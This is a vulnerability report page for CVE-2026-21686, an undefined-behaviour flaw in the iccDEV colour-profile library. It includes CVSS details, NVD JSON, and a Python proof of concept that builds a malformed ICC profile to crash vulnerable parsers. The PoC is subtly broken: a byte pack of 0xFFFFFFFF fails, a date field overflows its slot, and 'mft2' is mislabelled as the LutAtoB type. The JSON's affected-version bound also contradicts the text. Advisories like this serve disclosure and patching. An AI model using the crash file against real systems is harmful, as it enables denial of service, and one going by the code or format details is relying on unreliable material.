Security Vulnerability Report
中文
CVE-2026-21686 CVSS 7.1 HIGH

CVE-2026-21686

Published: 2026-01-07 22:15:45
Last Modified: 2026-01-12 18:12:09

Description

iccDEV provides a set of libraries and tools that allow for the interaction, manipulation, and application of International Color Consortium (ICC) color management profiles. Versions prior to 2.3.1.2 have Undefined Behavior in `CIccTagLutAtoB::Validate()`. This vulnerability affects users of the iccDEV library who process ICC color profiles. Version 2.3.1.2 contains a patch. No known workarounds are available.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:* - VULNERABLE
iccDEV < 2.3.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-21686 PoC - Malformed ICC Profile Triggering UB in CIccTagLutAtoB::Validate() # This PoC demonstrates the vulnerability by creating a minimal ICC profile with malformed LUT data import struct import os def create_malformed_icc_profile(): """ Create a minimal ICC profile with malformed LUT A2B data to trigger the undefined behavior in CIccTagLutAtoB::Validate() """ # ICC Profile Header (128 bytes) header = bytearray(128) # Profile size (will be updated) struct.pack_into('>I', header, 0, 0) # Preferred CMM type header[4:8] = b'lcms' # Profile version header[8:12] = struct.pack('>I', 0x04000000) # Profile device class (display profile) header[12:16] = b'mntr' # Color space (RGB) header[16:20] = b'RGB ' # PCS (Profile Connection Space) header[20:24] = b'Lab ' # Creation date/time header[24:36] = struct.pack('>IIIIII', 2026, 1, 7, 12, 0, 0) # Signature 'acsp' header[36:40] = b'acsp' # Platform (Windows) header[40:44] = b'MSFT' # Primary platform flag struct.pack_into('>I', header, 44, 1) # Tag count tag_count_offset = 128 # Create malformed LUT A2B tag data # This triggers undefined behavior in CIccTagLutAtoB::Validate() lut_tag_type = b'mft2' # LutA2B type signature # Malformed input curve count (causes validation failure/UB) input_entries = 0xFFFFFFFF # Invalid count causing UB # Malformed CLUT data clut_grid_points = 0xFF # Invalid grid points # Construct malformed tag data tag_data = bytearray() tag_data += lut_tag_type tag_data += struct.pack('>BBBB', 0, 0, 0, 9) # Input channels tag_data += struct.pack('>BBBB', 0, 0, 0, 3) # Output channels tag_data += struct.pack('>BBBB', 0, 0, 0, input_entries) # Malformed tag_data += bytes(256) # Padding # Create tag table entry tag_signature = b'A2B0' # LutA2B tag signature tag_offset = 128 + 4 + len(tag_data) # After tag count tag_size = len(tag_data) # Write tag count profile = bytearray() profile += struct.pack('>I', 1) # Tag count # Write tag table profile += tag_signature profile += struct.pack('>II', tag_offset, tag_size) # Write tag data profile += tag_data # Update profile size in header struct.pack_into('>I', header, 0, len(profile) + 128) # Combine header and profile data final_profile = bytes(header) + bytes(profile) return final_profile def main(): """ Main function to generate and save the PoC ICC profile """ print("[*] Generating CVE-2026-21686 PoC ICC Profile") print("[*] Target: iccDEV < 2.3.1.2") print("[*] Vulnerability: Undefined Behavior in CIccTagLutAtoB::Validate()") # Generate malformed ICC profile poc_data = create_malformed_icc_profile() # Save the PoC output_file = "CVE-2026-21686-poc.icc" with open(output_file, 'wb') as f: f.write(poc_data) print(f"[+] PoC ICC profile saved to: {output_file}") print(f"[+] File size: {len(poc_data)} bytes") print("\n[!] Usage: Target application using vulnerable iccDEV version") print(" will trigger undefined behavior when processing this profile") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21686", "sourceIdentifier": "[email protected]", "published": "2026-01-07T22:15:44.780", "lastModified": "2026-01-12T18:12:09.473", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "iccDEV provides a set of libraries and tools that allow for the interaction, manipulation, and application of International Color Consortium (ICC) color management profiles. Versions prior to 2.3.1.2 have Undefined Behavior in `CIccTagLutAtoB::Validate()`. This vulnerability affects users of the iccDEV library who process ICC color profiles. Version 2.3.1.2 contains a patch. No known workarounds are available."}, {"lang": "es", "value": "iccDEV proporciona un conjunto de bibliotecas y herramientas que permiten la interacción, manipulación y aplicación de perfiles de gestión de color del Consorcio Internacional del Color (ICC). Las versiones anteriores a la 2.3.1.2 tienen Comportamiento Indefinido en 'CIccTagLutAtoB::Validate()'. Esta vulnerabilidad afecta a los usuarios de la biblioteca iccDEV que procesan perfiles de color ICC. La versión 2.3.1.2 contiene un parche. No se conocen soluciones alternativas disponibles."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-758"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.1.1", "matchCriteriaId": "0E50DFFC-9185-4969-85A7-6D3976699720"}]}]}], "references": [{"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/214", "source": "[email protected]", "tags": ["Issue Tracking", "Exploit", "Vendor Advisory"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/pull/222", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/security/advisories/GHSA-792q-cqq9-mq4x", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}